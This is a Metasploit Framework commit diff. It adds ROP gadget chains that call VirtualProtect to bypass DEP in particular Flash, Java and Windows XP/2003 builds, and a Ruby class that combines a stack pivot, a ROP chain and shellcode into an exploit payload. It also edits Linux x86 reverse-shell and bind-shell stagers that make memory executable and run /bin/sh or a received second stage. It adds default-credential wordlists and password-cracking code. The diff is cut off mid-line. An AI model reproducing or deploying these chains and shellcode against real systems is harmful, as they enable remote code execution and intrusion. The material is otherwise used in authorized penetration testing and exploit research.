Merge branch 'rapid7' into bug/active_support/dependencies-compatibility

[Closes #843]
unstable
James Lee 2012-10-04 17:18:07 -05:00
commit 9d4427270e
52 changed files with 3665 additions and 216 deletions

Binary file not shown.

80
data/ropdb/flash.xml Normal file
View File

@ -0,0 +1,80 @@
<?xml version="1.0" encoding="ISO-8859-1"?>
<db>
<rop>
<compatibility>
<target>11.3.300.257</target>
</compatibility>
<gadgets base="0x10000000">
<gadget offset="0x00243043">POP EAX # RETN</gadget>
<gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
<gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
<gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
<gadget offset="0x005f0b25">POP EBP # RETN</gadget>
<gadget offset="0x002ed0f1">jmp esp</gadget>
<gadget offset="0x003eb988">POP EBX # RETN</gadget>
<gadget value="0x00000400">0x00000400-> ebx</gadget>
<gadget offset="0x00662e60">POP EDX # RETN</gadget>
<gadget value="0x00000040">0x00000040-> edx</gadget>
<gadget offset="0x0058289d">POP ECX # RETN</gadget>
<gadget offset="0x00955ebe">Writable location</gadget>
<gadget offset="0x00414e84">POP EDI # RETN</gadget>
<gadget offset="0x004de801">RETN (ROP NOP)</gadget>
<gadget offset="0x0024044c">POP EAX # RETN</gadget>
<gadget value="nop">nop</gadget>
<gadget offset="0x00627674">PUSHAD # RETN</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>11.3.300.265</target>
</compatibility>
<gadgets base="0x10000000">
<gadget offset="0x00487414">POP EAX # RETN</gadget>
<gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
<gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
<gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
<gadget offset="0x000baf77">POP EBP # RETN</gadget>
<gadget offset="0x002d8d5c">jmp esp</gadget>
<gadget offset="0x00005604">POP EBX # RETN</gadget>
<gadget value="0x00000400">0x00000400-> ebx</gadget>
<gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
<gadget value="0x00000040">0x00000040-> edx</gadget>
<gadget offset="0x004087db">POP ECX # RETN</gadget>
<gadget offset="0x00955197">Writable location</gadget>
<gadget offset="0x005be57f">POP EDI # RETN</gadget>
<gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
<gadget offset="0x00244a82">POP EAX # RETN</gadget>
<gadget value="nop">nop</gadget>
<gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>11.3.300.268</target>
</compatibility>
<gadgets base="0x10000000">
<gadget offset="0x0012429b">POP ECX # RETN</gadget>
<gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
<gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
<gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
<gadget offset="0x000a6b69">POP EBP # RETN</gadget>
<gadget offset="0x002b95bb">jmp esp</gadget>
<gadget offset="0x0027f328">POP EBX # RETN</gadget>
<gadget value="0x00000400">0x00000400-> ebx</gadget>
<gadget offset="0x00686fe5">POP EDX # RETN</gadget>
<gadget value="0x00000040">0x00000040-> edx</gadget>
<gadget offset="0x0017e345">POP ECX # RETN</gadget>
<gadget offset="0x0092027a">Writable location</gadget>
<gadget offset="0x002a394a">POP EDI # RETN</gadget>
<gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
<gadget offset="0x002447d1">POP EAX # RETN</gadget>
<gadget value="nop">nop</gadget>
<gadget offset="0x0062857d">PUSHAD # RETN</gadget>
</gadgets>
</rop>
</db>

27
data/ropdb/java.xml Normal file
View File

@ -0,0 +1,27 @@
<?xml version="1.0" encoding="ISO-8859-1"?>
<db>
<rop>
<compatibility>
<target>*</target>
</compatibility>
<gadgets base="0x7c340000">
<gadget offset="0x0000252c">POP EBP # RETN</gadget>
<gadget offset="0x0000252c">skip 4 bytes</gadget>
<gadget offset="0x0002c55a">POP EBX # RETN</gadget>
<gadget value="0x00000400">0x00000400-> ebx</gadget>
<gadget offset="0x00005249">POP EDX # RETN</gadget>
<gadget value="0x00000040">0x00000040-> edx</gadget>
<gadget offset="0x000011c0">POP ECX # RETN</gadget>
<gadget offset="0x00051897">Writable location</gadget>
<gadget offset="0x0000b8d7">POP EDI # RETN</gadget>
<gadget offset="0x00006c0b">RETN (ROP NOP)</gadget>
<gadget offset="0x00026fa6">POP ESI # RETN</gadget>
<gadget offset="0x000015a2">JMP [EAX]</gadget>
<gadget offset="0x000362fb">POP EAX # RETN</gadget>
<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
</gadgets>
</rop>
</db>

56
data/ropdb/msvcrt.xml Normal file
View File

@ -0,0 +1,56 @@
<?xml version="1.0" encoding="ISO-8859-1"?>
<db>
<rop>
<compatibility>
<target>WINDOWS XP SP2</target>
<target>WINDOWS XP SP3</target>
</compatibility>
<gadgets base="0x77c10000">
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
<gadget value="0x00000400">0x00000400-> ebx</gadget>
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
<gadget value="0x00000040">0x00000040-> edx</gadget>
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
<gadget offset="0x0004d9bb">Writable location</gadget>
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
<gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
<gadget offset="0x0002a184">POP ESI # RETN</gadget>
<gadget offset="0x0001aacc">JMP [EAX]</gadget>
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
<gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
<gadget offset="0x00002df9">PUSHAD # RETN</gadget>
<gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>WINDOWS SERVER 2003 SP1</target>
<target>WINDOWS SERVER 2003 SP2</target>
</compatibility>
<gadgets base="0x77ba0000">
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
<gadget value="junk">Filler</gadget>
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
<gadget offset="0x00026320">POP EBP # RETN</gadget>
<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
<gadget offset="0x000385b7">POP EBX # RETN</gadget>
<gadget value="0x00000400">0x00000400-> ebx</gadget>
<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
<gadget value="0x00000040">0x00000040-> edx</gadget>
<gadget offset="0x000330fb">POP ECX # RETN</gadget>
<gadget offset="0x0004ff56">Writable location</gadget>
<gadget offset="0x00038a92">POP EDI # RETN</gadget>
<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
<gadget value="nop">nop</gadget>
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
</gadgets>
</rop>
</db>

View File

@ -0,0 +1,3 @@
calvin
123456
password

View File

@ -0,0 +1,3 @@
root
user1
admin

View File

@ -13,6 +13,7 @@ import java.awt.event.FocusListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.event.MouseMotionAdapter;
import java.awt.event.MouseMotionListener;
import java.awt.event.WindowEvent;
import java.awt.event.WindowFocusListener;
import java.util.ArrayList;
@ -49,7 +50,16 @@ public class DraggableTabbedPane extends JTabbedPane{
static{
//Set up placeholder window. (Shows when moving tabs)
window = new JWindow();
window.getContentPane().add(new JLabel("Moving", JLabel.CENTER), java.awt.BorderLayout.CENTER);
JLabel lab = new JLabel("Moving", JLabel.CENTER);
lab.addMouseMotionListener(new MouseMotionListener() {
public void mouseMoved(MouseEvent e) {
window.setVisible(false);
}
public void mouseDragged(MouseEvent e) {
window.setVisible(false);
}
});
window.getContentPane().add(lab, java.awt.BorderLayout.CENTER);
window.setSize(300, 300);
}
@ -333,7 +343,7 @@ public class DraggableTabbedPane extends JTabbedPane{
//Set up dragging listener
addMouseMotionListener(new MouseMotionAdapter() {
public void mouseDragged(MouseEvent e) {
if (!dragging) {
if (!dragging && ((e.getModifiersEx() & MouseEvent.BUTTON1_DOWN_MASK) != 0)) {
// Gets the tab index based on the mouse position
int tabNumber = getUI().tabForCoordinate(DraggableTabbedPane.this, e.getX(), e.getY());
if (tabNumber < 0)

View File

@ -114,7 +114,8 @@ public abstract class RpcConnection {
* @throws IOException
*/
protected void disconnect() throws SocketException, IOException{
connection.close();
if(connection != null)
connection.close();
}
/**

View File

@ -1,4 +1,4 @@
STAGERS=stager_sock_bind stager_sock_bind_udp stager_sock_bind_icmp \
STAGERS=stager_sock_bind stager_sock_bind6 stager_sock_bind_udp stager_sock_bind_icmp \
stager_egghunt stager_sock_find stager_sock_reverse \
stager_sock_reverse_icmp stager_sock_reverse_udp \
stager_sock_reverse_udp_dns
@ -30,8 +30,22 @@ all: $(SINGLE) $(STAGES) $(STAGERS)
sed -e 's/\([0123456789abcdef][0123456789abcdef]\)/\\x\1/g' \
-e 's/^/"/;s/$$/"/;$$ b;s/$$/+/;' > $@
# ljust(23) because the longest instruction is usually 5 bytes which takes 22
# characters including quotes
%.disasm: %.bin
@ndisasm -b 32 $< > $@
@ndisasm -b 32 $< > $*.tmp
@ruby -p -a -e ' \
$$F.shift; \
$$F[0].tap { |s| \
s.tr! "A-F", "a-f"; \
t=s.dup; \
s.clear; \
s<<("\""+t.scan(/../).map{|b|"\\x#{b}"}.join+"\"").ljust(23); \
STDIN.eof? ? s<< " # " : s<< "+# "; \
}; \
$$_ = $$F.join(" ") + "\n"; \
' < $*.tmp > $@
@rm $*.tmp
$(SINGLE) $(STAGES) $(STAGERS): %: %.o
@echo "Building $@... (`wc -c $(<:.o=.bin)|awk '{print $$1}'` bytes)"

View File

@ -31,49 +31,52 @@ GLOBAL _start
_start:
xor ebx, ebx
mul ebx
socket:
push ebx
inc ebx
push ebx
push byte 0x2
push byte 0x66
pop eax
mov ecx, esp
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
inc ebx ; 1 = SYS_SOCKET
push ebx ; type = 1 = SOCK_STREAM
push byte 0x2 ; domain = 2 = AF_INET
mov ecx, esp ; socketcall args
mov al, 0x66
int 0x80
xchg eax, ebx
; int dup2(int oldfd, int newfd);
dup:
pop ecx
pop ecx ; oldfd = 2, aka stderr
; newfd is in ebx, set above, and doesn't change until we're ready to call
; connect(2)
dup_loop:
mov al, 0x3f
mov al, 0x3f ; __NR_dup2
int 0x80
dec ecx
jns dup_loop
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
connect:
pop ebx
pop edx
push dword 0x0100007f
push word 0xbfbf
inc ebx
push bx
mov ecx, esp
mov al, 0x66
push eax
push ecx
push ebx
mov ecx, esp
inc ebx
push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
push 0xbfbf0002 ; addr->sin_port = 49087
; addr->sin_family = 2 = AF_INET
mov ecx, esp ; ecx = addr
mov al, 0x66 ; __NR_socketcall
push eax ; addrlen
push ecx ; addr
push ebx ; sockfd
mov bl, 0x3 ; 3 = SYS_CONNECT
mov ecx, esp ; socketcall args
int 0x80
; int execve(const char *filename, char *const argv[], char *const envp[]);
execve:
push edx
push edx ; NULL terminator for "/bin//sh"
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
mov al, 0x0b
mov ebx, esp ; filename
push edx ; NULL terminator for argv
push ebx ; pointer to "/bin//sh"
mov ecx, esp ; argv = pointer to pointer to "/bin//sh"
mov al, 0x0b ; __NR_execve
int 0x80

View File

@ -1,14 +1,16 @@
;;
;
;
; Name: stager_sock_bind
; Qualities: Can Have Nulls
; Version: $Revision: 1607 $
; License:
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; With enhancements from the unixasm project by Ramon de Carvalho Valle
;
; Description:
;
; Implementation of a Linux portbind TCP stager.
@ -32,56 +34,89 @@ BITS 32
GLOBAL _start
_start:
xor ebx, ebx
socket:
push ebx
inc ebx
push ebx
push byte 0x2
push byte 0x66
; int mprotect(const void *addr, size_t len, int prot);
mprotect:
push byte 0x7d ; __NR_mprotect
pop eax
cdq
mov ecx, esp
mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC
mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems)
mov ebx, esp ; addr
and bx, 0xf000 ; ensure that addr is page-aligned
int 0x80
xchg eax, esi
xor ebx, ebx ; ebx is the call argument to socketcall
mul ebx ; set edx:eax to 0, we'll need them in a minute
; int socket(int domain, int type, int protocol);
socket:
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
inc ebx ; 1 = SYS_SOCKET
push ebx ; type = 1 = SOCK_STREAM
push byte 0x2 ; domain = 2 = AF_INET
mov ecx, esp ; socketcall args
mov al, 0x66 ; __NR_socketcall
int 0x80
; Server socket is now in eax. We'll push it to the stack in a sec and then
; just reference it from there, no need to store it in a register
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
bind:
inc ebx
push edx
push word 0xbfbf ; port: 49087
push bx
mov ecx, esp
push byte 0x66
pop ebx ; 2 = SYS_BIND (this was PF_INET for the call to socket)
pop esi ; 1 = junk - this keeps ecx pointing to the right place
; set up the sockaddr
push edx ; addr->sin_addr = 0 = inet_addr("0.0.0.0")
push 0xbfbf0002 ; addr->sin_port = 0xbfbf
; addr->sin_family = 2 = AF_INET
push byte 0x10 ; addrlen
push ecx ; addr (ecx still points to the right place on the stack)
push eax ; sockfd ; return value from socket(2) above
mov ecx, esp ; socketcall args
push byte 0x66 ; __NR_socketcall
pop eax
push eax
push ecx
push esi
mov ecx, esp
int 0x80
listen:
mov al, 0x66
shl ebx, 1
shl ebx, 1 ; 4 = SYS_LISTEN
mov al, 0x66 ; __NR_socketcall
int 0x80
; At this point the stack will look like this:
;
; [ sockfd ] <-- esp, ecx
; [ addr ] # pointer to below on the stack
; [ addrlen = 0x66 ]
; [ 0xbfbf0002 ] <-- *addr
; [ 0x00000000 ] inet_addr("0.0.0.0")
;
; Since addrlen is ignored if addr is null, we can set esp+4 to NULL and use
; the sockfd that's already on the stack as an argument to accept(2), thus
; avoiding having to set up a full list of args. Conveniently,
; mov [ecx+4], edx
; is three bytes long, whereas the old sequence:
; push edx ; addr = NULL
; push edx ; addrlen = NULL
; push esi ; sockfd
; mov ecx, esp ; socketcall args
; weighs in at 5
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
accept:
push edx
push edx
push esi
inc ebx
mov ecx, esp
mov al, 0x66
inc ebx ; 5 = SYS_ACCEPT
mov al, 0x66 ; __NR_socketcall
mov [ecx+4], edx
int 0x80
xchg eax, ebx
xchg eax, ebx ; client socket is now in ebx
%ifndef USE_SINGLE_STAGE
read:
recv:
mov dh, 0xc
mov al, 0x3
int 0x80
mov edi, ebx ; not necessary if second stages use ebx instead of edi
mov edi, ebx ; not necessary if second stages use ebx instead of edi
; for fd
jmp ecx

View File

@ -0,0 +1,113 @@
;;
;
; Name: stager_sock_bind6
; Qualities: Can Have Nulls
; Version: $Revision: 1607 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Implementation of a Linux portbind TCP stager.
;
; File descriptor in edi.
;
; Meta-Information:
;
; meta-shortname=Linux Bind TCP Stager
; meta-description=Listen on a port for a connection and run a second stage
; meta-authors=skape <mmiller [at] hick.org>; egypt <egypt [at] metasploit.com>
; meta-os=linux
; meta-arch=ia32
; meta-category=stager
; meta-connection-type=bind
; meta-name=bind_ipv6_tcp
; meta-path=lib/Msf/PayloadComponent/Linux/ia32/BindStager.pm
;;
BITS 32
GLOBAL _start
_start:
; int mprotect(const void *addr, size_t len, int prot);
mprotect:
push byte 0x7d ; __NR_mprotect
pop eax
cdq
mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC
mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems)
mov ebx, esp ; addr
and bx, 0xf000 ; ensure that addr is page-aligned
int 0x80
xor ebx, ebx ; ebx is the call argument to socketcall
mul ebx ; set edx:eax to 0, we'll need them in a minute
; int socket(int domain, int type, int protocol);
socket:
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
inc ebx ; 1 = SYS_SOCKET
push ebx ; type = 1 = SOCK_STREAM
push byte 0xa ; domain = 0xa = AF_INET6
mov ecx, esp ; socketcall args
mov al, 0x66 ; __NR_socketcall
int 0x80
; Server socket is now in eax. We'll push it to the stack in a sec and then
; just reference it from there, no need to store it in a register
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
bind:
inc ebx ; 2 = SYS_BIND (this was PF_INET for the call to socket)
; set up the sockaddr
push edx ; addr->sin6_scopeid = 0
push edx ; addr->sin6_addr = inet_pton("::0")
push edx ; ...
push edx ; ...
push edx ; ...
push edx ; addr->flowinfo = 0
push 0xbfbf000a ; addr->sin6_port = 0xbfbf
; addr->sin6_family = 0xa = AF_INET6
mov ecx, esp ; socketcall args
push byte 0x1c ; addrlen
push ecx ; addr
push eax ; sockfd ; return value from socket(2) above
mov ecx, esp ; socketcall args
push byte 0x66 ; __NR_socketcall
pop eax
int 0x80
listen:
shl ebx, 1 ; 4 = SYS_LISTEN
mov al, 0x66 ; __NR_socketcall
int 0x80
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
accept:
inc ebx ; 5 = SYS_ACCEPT
mov al, 0x66 ; __NR_socketcall
mov [ecx+4], edx
int 0x80
xchg eax, ebx
%ifndef USE_SINGLE_STAGE
; ssize_t read(int fd, void *buf, size_t count);
recv:
; fd = ebx
; buf = ecx is pointing somewhere in the stack
mov dh, 0xc ; count = 0xc00
mov al, 0x3 ; __NR_read
int 0x80
mov edi, ebx ; not necessary if second stages use ebx instead of edi
; for fd
jmp ecx
%else
%ifdef FD_REG_EDI
mov edi, ebx
%endif
%endif

View File

@ -26,48 +26,62 @@
; meta-connection-type=reverse
; meta-name=reverse_tcp
; meta-basemod=Msf::PayloadComponent::ReverseConnection
; meta-offset-lhost=0x11
; meta-offset-lport=0x17
; meta-offset-lhost=0x12
; meta-offset-lport=0x19
;;
BITS 32
GLOBAL _start
_start:
xor ebx, ebx
mul ebx
; int socket(int domain, int type, int protocol);
socket:
push ebx
inc ebx
push ebx
push byte 0x2
push byte 0x66
pop eax
mov ecx, esp
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
inc ebx ; 1 = SYS_SOCKET
push ebx ; type = 1 = SOCK_STREAM
push byte 0x2 ; domain = 2 = AF_INET
mov al, 0x66 ; __NR_socketcall
mov ecx, esp ; socketcall args
int 0x80
xchg eax, edi
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
connect:
pop ebx
push dword 0x0100007f ; ip: 127.0.0.1
push word 0xbfbf ; port: 49087
push bx
mov ecx, esp
push byte 0x66
push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
push 0xbfbf0002 ; addr->sin_port = 49087
; addr->sin_family = 2 = AF_INET
mov ecx, esp ; ecx = addr
push byte 0x66 ; __NR_socketcall
pop eax
push eax
push ecx
push edi
mov ecx, esp
inc ebx
push eax ; addrlen
push ecx ; addr
push edi ; sockfd
mov ecx, esp ; socketcall args
inc ebx ; 3 = SYS_CONNECT
int 0x80
%ifndef USE_SINGLE_STAGE
; int mprotect(const void *addr, size_t len, int prot);
mprotect:
mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC
mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems)
mov ebx, esp ; addr
shr ebx, 12 ; ensure that addr is page-aligned
shl ebx, 12
mov al, 0x7d ; __NR_mprotect
int 0x80
; ssize_t read(int fd, void *buf, size_t count);
recv:
pop ebx
pop ebx ; sockfd
mov ecx, esp ; buf
cdq
mov dh, 0xc
mov al, 0x3
mov dh, 0xc ; count = 0xc00
mov al, 0x3 ; __NR_read
int 0x80
jmp ecx

View File

@ -179,10 +179,10 @@ module Auxiliary::JohnTheRipper
end
def john_binary_path
path = nil
if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH'])
path = datastore['JOHN_PATH']
::FileUtils.chmod(0755, path) rescue nil
path
end
if not @run_path
@ -191,13 +191,18 @@ module Auxiliary::JohnTheRipper
else
path = ::File.join(john_base_path, "john")
::FileUtils.chmod(0755, path) rescue nil
path
end
else
path = ::File.join(john_base_path, @run_path)
::FileUtils.chmod(0755, path) rescue nil
path
end
if path and ::File.exists?(path)
return path
end
path = Rex::FileUtils.find_full_path("john") ||
Rex::FileUtils.find_full_path("john.exe")
end
def john_base_path
@ -287,7 +292,7 @@ module Auxiliary::JohnTheRipper
seed = []
#Seed the wordlist with Database , Table, and Instance Names
count = 0
schemas = myworkspace.notes.where('ntype like ?', '%.schema%')
unless schemas.nil? or schemas.empty?
@ -318,10 +323,10 @@ module Auxiliary::JohnTheRipper
count = 0
# Seed the wordlist with usernames, passwords, and hostnames
myworkspace.hosts.find(:all).each do |o|
if o.name
seed << john_expand_word( o.name )
myworkspace.hosts.find(:all).each do |o|
if o.name
seed << john_expand_word( o.name )
count += 1
end
end
@ -331,11 +336,11 @@ module Auxiliary::JohnTheRipper
myworkspace.creds.each do |o|
if o.user
seed << john_expand_word( o.user )
seed << john_expand_word( o.user )
count +=1
end
if (o.pass and o.ptype !~ /hash/)
seed << john_expand_word( o.pass )
seed << john_expand_word( o.pass )
count += 1
end
end
@ -343,8 +348,8 @@ module Auxiliary::JohnTheRipper
count = 0
# Grab any known passwords out of the john.pot file
john_cracked_passwords.values do |v|
seed << v
john_cracked_passwords.values do |v|
seed << v
count += 1
end
print_status "Seeding with cracked passwords from John....#{count} words added"
@ -352,7 +357,7 @@ module Auxiliary::JohnTheRipper
#Grab the default John Wordlist
john = File.open(john_wordlist_path, "rb")
john.each_line do |line|
john.each_line do |line|
seed << line.chomp
count += 1
end
@ -361,7 +366,7 @@ module Auxiliary::JohnTheRipper
if datastore['Wordlist']
wordlist= File.open(datastore['Wordlist'], "rb")
wordlist.each_line do |line|
wordlist.each_line do |line|
seed << line.chomp
count ==1
end
@ -397,4 +402,3 @@ module Auxiliary::JohnTheRipper
end
end
end

View File

@ -15,6 +15,7 @@ require 'msf/core/exploit/omelet'
require 'msf/core/exploit/seh'
require 'msf/core/exploit/kernel_mode'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/ropdb'
# CmdStagers
require 'msf/core/exploit/cmdstager'

View File

@ -0,0 +1,35 @@
# -*- coding: binary -*-
require 'rex/exploitation/ropdb'
##
#
# This mixin provides an interface to selecting a ROP chain, or creating a payload with
# ROP using the Rex::Exploitation::RopDb class.
#
##
module Msf
module Exploit::RopDb
def initialize(info = {})
@rop_db = Rex::Exploitation::RopDb.new
super
end
def has_rop?(rop)
@rop_db.has_rop?(rop)
end
def select_rop(rop, opts={})
rop = @rop_db.select_rop(rop, opts)
return rop
end
def generate_rop_payload(rop, payload, opts={})
opts['badchars'] ||= payload_badchars
rop_payload = @rop_db.generate_rop_payload(rop, payload, opts)
return rop_payload
end
end
end

View File

@ -298,6 +298,15 @@ module Msf::Post::File
end
end
#
# Rename a remote file
#
def rename_file(new_file, old_file)
write_file(new_file, (read_file(old_file)))
rm_f(old_file)
end
alias :move_file :rename_file
alias :mv_file :rename_file
protected
#

View File

@ -0,0 +1,163 @@
require 'rex/text'
require 'rexml/document'
module Rex
module Exploitation
###
#
# This class provides methods to access the ROP database, in order to generate
# a ROP-compatible payload on the fly.
#
###
class RopDb
def initialize
@base_path = File.join(File.dirname(__FILE__), '../../../data/ropdb/')
end
public
#
# Returns true if a ROP chain is available, otherwise false
#
def has_rop?(rop_name)
File.exists?(File.join(@base_path, "#{rop_name}.xml"))
end
#
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
# and :size_negate.
# Note if no RoP is found, it returns an empry array.
# Arguments:
# rop_name - name of the ROP chain.
# opts - A hash of optional arguments:
# 'target' - A regex string search against the compatibility list.
# 'base' - Specify a different base for the ROP gadgets.
#
def select_rop(rop, opts={})
target = opts['target'] || ''
base = opts['base'] || nil
raise RuntimeError, "#{rop} ROP chain is not available" if not has_rop?(rop)
xml = load_rop(File.join(@base_path, "#{rop}.xml"))
gadgets = []
xml.elements.each("db/rop") { |e|
name = e.attributes['name']
next if not has_target?(e, target)
if not base
default = e.elements['gadgets'].attributes['base'].scan(/^0x([0-9a-f]+)$/i).flatten[0]
base = default.to_i(16)
end
gadgets << parse_gadgets(e, base)
}
return gadgets.flatten
end
#
# Returns a payload with the user-supplied stack-pivot, a ROP chain,
# and then shellcode.
# Arguments:
# rop - Name of the ROP chain
# payload - Payload in binary
# opts - A hash of optional arguments:
# 'nop' - Used to generate nops with generate_sled()
# 'badchars' - Used in a junk gadget
# 'pivot' - Stack pivot in binary
# 'target' - A regex string search against the compatibility list.
# 'base' - Specify a different base for the ROP gadgets.
#
def generate_rop_payload(rop, payload, opts={})
nop = opts['nop'] || nil
badchars = opts['badchars'] || ''
pivot = opts['pivot'] || ''
target = opts['target'] || ''
base = opts['base'] || nil
rop = select_rop(rop, {'target'=>target, 'base'=>base})
# Replace the reserved words with actual gadgets
rop = rop.map {|e|
if e == :nop
sled = (nop) ? nop.generate_sled(4, badchars).unpack("V*")[0] : 0x90909090
elsif e == :junk
Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
elsif e == :size
payload.length
elsif e == :size_negate
0xffffffff - payload.length + 1
else
e
end
}.pack("V*")
raise RuntimeError, "No ROP chain generated successfully" if rop.empty?
return pivot + rop + payload
end
private
#
# Checks if a ROP chain is compatible
#
def has_target?(rop, target)
rop.elements.each('compatibility/target') { |t|
return true if t.text =~ /#{target}/i
}
return false
end
#
# Returns the database in XML
#
def load_rop(file_path)
f = File.open(file_path, 'rb')
xml = REXML::Document.new(f.read(f.stat.size))
f.close
return xml
end
#
# Returns gadgets
#
def parse_gadgets(e, image_base)
gadgets = []
e.elements.each('gadgets/gadget') { |g|
offset = g.attributes['offset']
value = g.attributes['value']
if offset
addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0]
gadgets << (image_base + addr.to_i(16))
elsif value
case value
when 'nop'
gadgets << :nop
when 'junk'
gadgets << :junk
when 'size'
gadgets << :size
when 'size_negate'
gadgets << :size_negate
else
gadgets << value.to_i(16)
end
else
raise RuntimeError, "Missing offset or value attribute in '#{name}'"
end
}
return gadgets
end
end
end
end

View File

@ -6,7 +6,6 @@
##
require 'msf/core'
require 'json'
class Metasploit3 < Msf::Auxiliary
@ -45,7 +44,6 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def run
res = send_request_cgi({
'method' => 'POST',
@ -63,6 +61,13 @@ class Metasploit3 < Msf::Auxiliary
return
end
begin
require 'json'
rescue LoadError
print_error("Json is not available on your machine")
return
end
begin
j = JSON.parse(res.body)
@ -78,7 +83,6 @@ class Metasploit3 < Msf::Auxiliary
rescue JSON::ParserError
print_error("Unable to parse JSON")
print_line(res.body)
end
end

View File

@ -25,10 +25,10 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'HTTP Form Field Fuzzer',
'Description' => %q{
This module will grab all fields from a form,
and launch a series of POST actions, fuzzing the contents
of the form fields. You can optionally fuzz headers too
(option is enabled by default)
This module will grab all fields from a form,
and launch a series of POST actions, fuzzing the contents
of the form fields. You can optionally fuzz headers too
(option is enabled by default)
},
'Author' => [
'corelanc0d3r',
@ -69,28 +69,12 @@ class Metasploit3 < Msf::Auxiliary
proto = "https://"
end
useragent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102814 Ubuntu/8.10 (intrepid) Firefox/3.0.15"
if datastore['UserAgent'] != nil
if datastore['UserAgent'].length > 0
useragent = datastore['UserAgent']
end
end
host = datastore['RHOST']
if datastore['VHOST']
if datastore['VHOST'].length > 0
host = datastore['VHOST']
end
end
@send_data = {
:uri => '',
:version => '1.1',
:method => 'POST',
:headers => {
'Content-Length' => 100,
'Host' => host,
'User-Agent' => useragent,
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' => 'en-us,en;q=0.5',
'Accept-Encoding' => 'gzip,deflate',
@ -98,12 +82,10 @@ class Metasploit3 < Msf::Auxiliary
'Keep-Alive' => '300',
'Connection' => 'keep-alive',
'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'].to_s,
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Type' => 'application/x-www-form-urlencoded'
}
}
@get_data_headers = {
'Host' => host,
'User-Agent' => useragent,
'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'].to_s,
}
end
@ -272,6 +254,8 @@ class Metasploit3 < Msf::Auxiliary
end
datastr=datastr[0,datastr.length-1]
@send_data[:uri] = form[:action]
@send_data[:uri] = "/#{form[:action]}" if @send_data[:uri][0,1] != '/'
@send_data[:method] = form[:method].upcase
response = send_fuzz(@send_data,datastr)
if not process_response(response,field,"field")
@ -322,7 +306,7 @@ class Metasploit3 < Msf::Auxiliary
end
def get_field_val(input)
tmp = input.split(/=/)
tmp = input.split(/\=/)
